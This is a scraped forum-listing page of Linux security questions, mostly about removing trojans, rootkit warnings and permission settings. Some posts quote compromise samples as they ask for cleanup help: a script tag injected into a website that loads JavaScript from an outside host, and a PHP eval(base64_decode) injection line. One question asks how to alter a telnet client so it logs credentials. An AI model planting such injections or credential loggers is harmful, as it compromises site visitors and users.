Ubuntu Security :: Using Ubuntu To Remove Trojan From Windows 7

May 31, 2011

I stupidly clicked on a spam link on my roommate's computer (I must have forgotten that I wasn't using Ubuntu and had to be much more careful) and the computer is now infected by a nasty Trojan. (I unfortunately cannot remember the name right now, but it is a Trojan.) Now, her computer will barely start up under the normal Windows 7 without a blue screen of death appearing, with the IRQL_NOT_LESS_OR_EQUAL error message.I stumbled upon this: http://maketecheasier.com/remove-win...ux/2010/02/02/ and I thought I would give it a shot.I don't have a flash-drive, and I'm rather tight on cash at the moment, so instead of creating a USB stick with the OS they recommended, I used my live CD of Ubuntu 10.4. I installed Clam, and ran the update as it says, and it seemed to work alright. When I started the scan, however, (excluding .doc files), the first message that came up was that the software was out of date, but the scan proceeded, and so I figured all was alright. The scan took about an hour 45, and when it was done, it reported that 0 files were infected, and that there were 4 errors. I crossed my fingers and hoped that these errors were the problem and Clam fixed it, but alas, this was not the case. The computer is still just as screwed up.

Does anyone have any suggestions? Maybe the updates couldn't be saved because I was using a live CD instead of a USB? Hopefully this isn't the case, because I really don't want to have to go and buy a flashdrive, but I will if I must. Can a portion of an external harddrive be used as a boot drive?

View 9 Replies


ADVERTISEMENT

Fedora Servers :: Windows PC Antivirus Picked Up A Trojan Horse Called "PHP/Rst.AK Trojan"

Feb 19, 2009

after compressing one of my sites and downloading it to my Windows PC my Antivirus picked up a trojan horse called "PHP/Rst.AK Trojan" Im still very new to all this and was wondering how i go about removing malware etc from my fedora 8 server. IS there a free virus scaning software i should be using ?

View 3 Replies View Related

Ubuntu :: Remove Trojan From A Website?

Jun 28, 2010

One of my friends website has the following code in almost 1500 files

Code:
<script type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Data_Type.js"></script>
<!--db99f6effefc0ff79b57c785dc1a107c-->

How can I remove it? I tried clamscan but it did not find anything. I was thinking if I can use grep/sed to remove the above from the files.

View 7 Replies View Related

Ubuntu Security :: Trojan Virus Wiped Off Printer Programs?

May 16, 2010

I used my printer without any problems using ubuntu os. As the day went surfing got slower. I lost ability to print. Went into windows os, which I haven't used for a few day, and scanned with superantispyware. A Trojan virus was found. Went back to ubuntu os and found that all printer programs had been removed.

View 9 Replies View Related

Ubuntu Security :: Trojan Virus Keeps Coming In Share Directory?

Sep 27, 2010

After some time i always see a trojan virus in my ubuntu machines shared folder. It is an exe detected by ClamAv as Trojan.Autokit-77 I thought i was getting it from some windows machine on the network but that isn't the case. I deleted the virus and removed my computer from the network and still the virus comes back. My computer however, is still connected to the internet through an independent mobile broadband usb stick.

So where is the virus coming from and why is it going to my shared folder. I thought ubuntu would not allow the virus to do something like this without me giving it permission. I am running 10.4.

View 9 Replies View Related

Security :: How To Trojan A Telnet Client

Jun 20, 2010

I want to log the user name and password passed through the default telnet client on Fedora (7 to 11) system.I have thought of something like this:(Download Telent client src)->(modify src)->(compile and install)but i am not sure...

View 11 Replies View Related

Ubuntu Security :: Run A Program That Is Infected With A Trojan / Virus In Wine Will Effect It

May 2, 2010

if i run a program that is infected with a trojan/virus in Wine will it effect Ubuntu?

View 9 Replies View Related

Security :: Transient Rkhunter Warning Of Sebek/adore Trojan On Desktop Debian?

Feb 22, 2011

Like Jackp27, I am reacting to a transient warning from rkhunter, indicating a possible LKM trojan, which may or may not be a false positive. Running chkrootkit and rkhunter repeatedly, including older versions running under live CDs like INSERT, indicated nothing wrong, but two runs of rkhunter running under the possibly compromised system itself did seem to suggest rkhunter thought it might have found elements of trojan code in RAM.

Like Jackp27, I can't give details right now because I do not currently have access to my logs, but I did find one webpage (can't give link because I do not currently have access to my detailed notes) suggesting that rkhunter may have thought it found a signature of the adore trojan in RAM by looking at /proc/kallsymms which is not a file I ordinary look at. I did look at it very closely yesterday, repeatedly, and it seems to be mostly empty, but occasionaly seems to contain what might be a sequence of calls to various kernel modules--- right now I only recall that some had the form ??_guest_? and that x_tables might be involved.

Can anyone give me a rough indication of what /proc/kallsymms is supposed to do, whether it should normally be empty, and when it is not, what kind of lines are supposed to show up in that "file" when I cat it? I also saw something about ?_logdrop? which may have had something to do with with rotating logs (I rebooted several times) rather than a trojan keylogger. But maybe some trojans rotate logs to try to hide their presence?

I know I am not giving enough information--- I hope to come back later with more details after I have managed to access my logs and notes, so feel free to say what kind of details would be most helpful in helping me decide whether or not this was a false positive.

View 6 Replies View Related

Ubuntu :: View Source Code For Trojan

Jun 3, 2011

I just pulled the MS Removal Tool executable off a Windows 7 machine. Is there a way I can view the code on my Ubuntu machine? I am curious how they block the "real" av software from running. I did get rid of it, pretty simple.

View 5 Replies View Related

Fedora Security :: Remove Nagging Security Screen?

Oct 10, 2009

If I leave the computer running for a few minutes without doing anything on it, this screen appears demanding that I enter my password, otherwise I can't get back to Fedora. I understand the necessity for this security feature in a work environment, but I'm just a home user and this security screen is just a nagging problem I don't know how to get rid of.

View 1 Replies View Related

General :: Win Trojan And Worm Removal From Live?

Jun 21, 2011

PartedMagic live linux can load to memory and run clamav on a windows drive to check for and remove viruses. However, I need to also find and remove trojans and worms on a windows drive which clamav can not find. Is there any worm and trojan removers for linux or do you need to install WINE and run the windows trojan and worm removers.

View 3 Replies View Related

Ubuntu Security :: Remove All Privileges From CWD?

Jan 21, 2010

I am on the admin account of my computer and am trying to remove all privileges from CWD i have tried

chmod go-rwx ~
sudo chmod go-rwx ~

but when i pull up

ls -l ~

It is still showing permission in the g and o column.

View 9 Replies View Related

Ubuntu Security :: Remove Authentication Completely From My Pc?

Jan 7, 2010

How can I remove authentication completely from my pc?
How can I edit the files present in the patrician filesystem?

View 8 Replies View Related

Ubuntu Security :: Malware + MBR - How To Discover/remove

Feb 28, 2010

Can a virus survive a reformat, running bootrec /fixmbr (both from the install CD), and then installing Ubuntu? Reformat meaning from the windows disk recovery console, using the format command for all partitions. Likewise, would a virus be capable of surviving just the first two steps alone without installing Ubuntu, just re-installing windows?

If one were to have an MBR virus on Windows or Linux, how abouts would you find or remove it without doing an entire disk wipe? And before someone goes "Linux is immune" take into consideration vulnerabilities on the user end.

View 9 Replies View Related

Ubuntu Security :: Remove String From All Files?

Oct 12, 2010

How can I remove this string from all files. I am not sure how it did get there

PHP Code:
<?php /**/eval(base64_decode('')); ?>

I tried this but It did not work

PHP Code:

find . -iname *.php* -exec sed -i 's/<?php /**/eval(base64_decode('')); ?> //g' {} ;

View 4 Replies View Related

Ubuntu Security :: Rebooting From Windows - When X Is Starting Up Before The Login Screen Comes Up It Will Flash A Screenshot From Windows

Oct 31, 2010

I have a dual-boot with windows and linux. Sometimes if I reboot from windows into linux, I notice that when X is starting up before the login screen comes up it will flash a screenshot from Windows. Has anyone ever noticed this?

View 4 Replies View Related

Ubuntu Security :: Remove Delete Permissions On Certain Folders?

Feb 8, 2010

I have a Ubuntu file server with a mix of 30+ users ( mix of windows and linux ).All are members of the same group. All need read write create access. I want to prevent deletion of certain key folders. How can I achieve this ? sudo chmod -R nnnn ??

View 8 Replies View Related

Ubuntu Security :: Found LKL And Can't Remove - Isn't Showing Up In Synaptic

Apr 7, 2010

I found LKL on my computer. I need to remove it. It isn't showing up in synaptic and i can't figure out how to remove it. SUDO apt-get remove lkl tells me this. E: Couldn't find package lkl. i can't find it with the search and with google.

View 4 Replies View Related

Ubuntu Security :: Remove Home Folder Encryption?

May 3, 2010

When I installed, I selected the option to encrypt my home folder. I believe this is causing constant crashes now, since error message is user id/password related. Is there a way to remove the encryption?

View 5 Replies View Related

Ubuntu Security :: Remove The Whole Disk Encryption Without Reinstalling?

Jul 31, 2010

Is there any way to remove the whole disk encryption without reinstalling? I'm running Ubuntu 10.04.

View 2 Replies View Related

Ubuntu Security :: Remove 'sudo' Via The Software Center?

Jul 10, 2011

I've installed Ubuntu via UNetbootin from USB on my child's computer. It comes by default with the sudo command which I find really annoying to work with. I'd rather have my su command.

Now, while googling for a removal instruction, I've read that the sudo command is tied to system functions on some Ubuntu live systems and can't be removed easily. Does anyone know if this applies to the 10.04 live version used by UNetbootin and how to work around this problem?

If not, is it simply enough to remove 'sudo' via the software center? I find many tutorials on how to switch from su to sudo but not much about the other way around.

View 7 Replies View Related

Security :: Unable To Use Windows To Change The Security Of The Samba Share?

Mar 19, 2010

I've got a samba share on a linux server, connecting to it with a windows 2k3 server via tools > map network drive. The goal is to be able to use windows to change the security of the samba share. The good news is it works! The bad news is it's not QUITE perfect:

The share is called /company. I started with the following to give everyone access to everything, set the owner of the share to administrator (my domain admin on the Windows domain), and set the group owner to domain users (group that everyone on the domain is part of):

Code:
chmod -R 777 /company
chown -R administrator /company
chgrp -R domain users /company

I then mapped the drive as a regular user, and of course, can access/modify/delete/rename/create anything I want. Then I picked a folder to lock down. Let's call it /company/myFolder. I did this on the Windows server by mapping the drive as administrator (the owner), right click > properties > security tab > advanced > highlight "domain users" and "everyone" and click edit > clear all (i.e. remove all access). Go back to Linux and

[Code]..

The only issue that remains is that I am able to rename/delete "myFolder" as a regular user. I thought this was coming from the "acl map full control = true" parameter in smb.conf, but I changed it to false and verified the change and it still happens. If I remove group and world write access to /company, I am no longer allowed to rename/delete myFolder, but then I can't create a new folder. If I add group write access back in I can create files but can also rename/delete folders within /company that have --- specified for group access. Any ideas what I need to tweak to make this right?

View 1 Replies View Related

Ubuntu Networking :: Remove WPA-PSK Security In The Netgear Router Settings?

Jan 1, 2010

I installed Ubuntu 9.10 netbook remix on my Acer Aspire One D250 computer. The broadcom wireless NIC succeeds in connecting to the network but only if I remove the WPA-PSK security in the Netgear router settings. What do I need to change in order to be able to secure my network?

View 2 Replies View Related

Ubuntu Security :: Remove The 6600/tcp Connection Ability From XWindow?

Apr 15, 2011

I've been reading a lot of articles on Xorg XWindow System having the ability to allow 6600/tcp for remote screen connections and I've been trying to find a way to remove the functionality without having to just dump XWindow and settle for CLI on my server. I heard it was disabled by default, but I just want to get rid of that ability completely by cutting it out of it's code and yes, I'm feeling very, very paranoid.

View 2 Replies View Related

Security :: Security Myths Talking To People Using Windows

May 20, 2011

Do to the last thread I posted got way off topic do to my bad doing , I will post it again to get the thread back on topic.I try it one last time hopefully these myths will be cleared up and this thread will stay on topic an not derail like last one.The myths going around on the internet.

1.Less than 1% use Linux and 10% use Mac Os X it is not that they are so much better but market share .The Malware makers are going windows where the market shares are.

2.Windows have more security but most people don't use it.

3.Mac OS X security is not that good , windows is better.

4.windows it has more gradual permission level than a ON and OFF like Linux or Mac OS X

5.Malware is growing with Linux and Mac OS X now.

View 3 Replies View Related

General :: Security Versus Windows Security

Sep 10, 2009

As Linux gains in popularity, (as I believe it will), do you think that Linux will ever become the target of as many virus and worm threats as Windows has faced? If so, do you think that the threats will have much success?

View 2 Replies View Related

Ubuntu :: Remove It Using Windows XP?

Jan 15, 2010

I have a dual boot system with Win XP and Ubuntu 9.10.My problem is, that I am not able to start Ubuntu anymore, it fails to boot.
Actually I don't intend to repair it, instead I would like to remove it and free up the space used by the ubuntu partition on my hard drive.i want to save some of my files kept in the linux filesystem, but I can live without them if that is not possible.

View 5 Replies View Related

Ubuntu :: 11.04 - How To Remove Windows OS

May 16, 2011

I installed ubuntu 11.04 using wubi now I want to get rid of windows how do I do this?

View 9 Replies View Related

Security :: Remove The Suid Bits From All Programs?

Jan 20, 2010

I've searched the forum, but nothing answers my question. We know the security risk posed by suid, sgid.I'm looking to remove the suid bits from all programs that do not absolutely need it.

This command:
find / -type f ( -perm -04000 -o -perm -02000 ) -exec ls -lg {} ;
gave the list below.

For which of these programs can I safely remove the suid bit? I don't want to break my system by modifying a program that the system needs.

-r-sr-xr-x 1 bin 502172 Jan 10 12:36 /usr/local/bin/dccproc
-r-sr-xr-x 1 bin 186683 Jan 10 12:36 /usr/local/bin/cdcc
-r-s--x--x 1 root 23980 Nov 17 00:27 /usr/lib/virtualbox/VBoxNetDHCP
-r-s--x--x 1 root 9896 Nov 17 00:27 /usr/lib/virtualbox/VBoxNetAdpCtl
-r-s--x--x 1 root 23976 Nov 17 00:27 /usr/lib/virtualbox/VBoxSDL

[Code]...

View 3 Replies View Related

Security :: Remove Access To MOST Of These SUID Binaries?

Mar 16, 2010

I say to remove access to MOST of these SUID binaries? do they all need this power? what i want to do is minimize access just incase one of them gets an exploit(as ive already done for apache SuEXEC)

[Code]...

View 1 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved